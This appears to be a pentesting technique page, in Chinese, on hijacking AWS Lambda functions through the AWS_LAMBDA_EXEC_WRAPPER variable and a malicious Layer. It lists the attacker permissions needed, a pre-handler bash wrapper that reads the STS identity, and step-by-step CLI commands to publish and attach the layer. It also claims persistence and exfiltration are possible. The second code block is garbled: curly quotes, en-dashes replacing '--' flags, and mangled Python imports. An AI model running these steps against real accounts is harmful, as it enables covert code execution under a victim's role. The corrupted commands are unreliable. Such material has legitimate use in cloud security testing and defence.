AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)

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摘要

滥用环境变量 AWS_LAMBDA_EXEC_WRAPPER 在 runtime/handler 启动之前执行攻击者控制的包装器脚本。通过在 Lambda Layer 中将包装器放置于 /opt/bin/htwrap,设置 AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap,然后调用函数来投递该包装器。该包装器在函数运行时进程内运行,继承函数执行角色,最后使用 exec 启动真实的 runtime,从而使原始 handler 仍可正常执行。

Warning

该技术可在目标 Lambda 中获得代码执行,且无需修改其源代码或角色,也不需要 iam:PassRole。你仅需能够更新函数配置并发布/附加一个 Layer。

所需权限(攻击者)

  • lambda:UpdateFunctionConfiguration
  • lambda:GetFunctionConfiguration
  • lambda:InvokeFunction(或通过现有事件触发)
  • lambda:ListFunctions, lambda:ListLayers
  • lambda:PublishLayerVersion(同一账户),并可选 lambda:AddLayerVersionPermission(如果使用跨账户/公共 Layer)

包装器脚本

将包装器放在 Layer 的 /opt/bin/htwrap。它可以运行 pre-handler 的逻辑,并且必须以 exec "$@" 结尾以链入真实的 runtime。

#!/bin/bash
set -euo pipefail
# Pre-handler actions (runs in runtime process context)
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json, os
try:
ident = boto3.client('sts').get_caller_identity()
print('[ht] sts identity:', json.dumps(ident))
except Exception as e:
print('[ht] sts error:', e)
PY
# Chain to the real runtime
exec "$@"

攻击步骤 (CLI)

发布 layer、附加到目标函数、设置 wrapper、调用 ```bash # Vars REGION=us-east-1 TARGET_FN=

1) Package wrapper at /opt/bin/htwrap

mkdir -p layer/bin cat > layer/bin/htwrap <<‘WRAP’ #!/bin/bash set -euo pipefail echo “[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION” python3 - <<‘PY’ import boto3, json print(‘[ht] sts identity:’, import(‘json’).dumps(import(‘boto3’).client(‘sts’).get_caller_identity())) PY exec “$@” WRAP chmod +x layer/bin/htwrap (zip -qr htwrap-layer.zip layer)

2) Publish the layer

LAYER_ARN=$(aws lambda publish-layer-version
–layer-name ht-exec-wrapper
–zip-file fileb://htwrap-layer.zip
–compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8
–query LayerVersionArn –output text –region “$REGION”)

echo “$LAYER_ARN”

3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER

aws lambda update-function-configuration
–function-name “$TARGET_FN”
–layers “$LAYER_ARN”
–environment “Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}”
–region “$REGION”

Wait for update to finish

until [ “$(aws lambda get-function-configuration –function-name “$TARGET_FN” –query LastUpdateStatus –output text –region “$REGION”)“ = “Successful” ]; do sleep 2; done

4) Invoke and verify via CloudWatch Logs

aws lambda invoke –function-name “$TARGET_FN” /tmp/out.json –region “$REGION” >/dev/null aws logs filter-log-events –log-group-name “/aws/lambda/$TARGET_FN” –limit 50 –region “$REGION” –query ‘events[].message’ –output text

</details>

## 影响

- 在 Lambda runtime 上下文中,使用函数现有的 execution role 在 handler 运行之前执行代码。
- 无需更改函数代码或 role;适用于常见的 managed runtimes(Python、Node.js、Java、.NET)。
- 可实现 persistence、credential access(例如 STS)、data exfiltration 以及在 handler 运行前的 runtime tampering。

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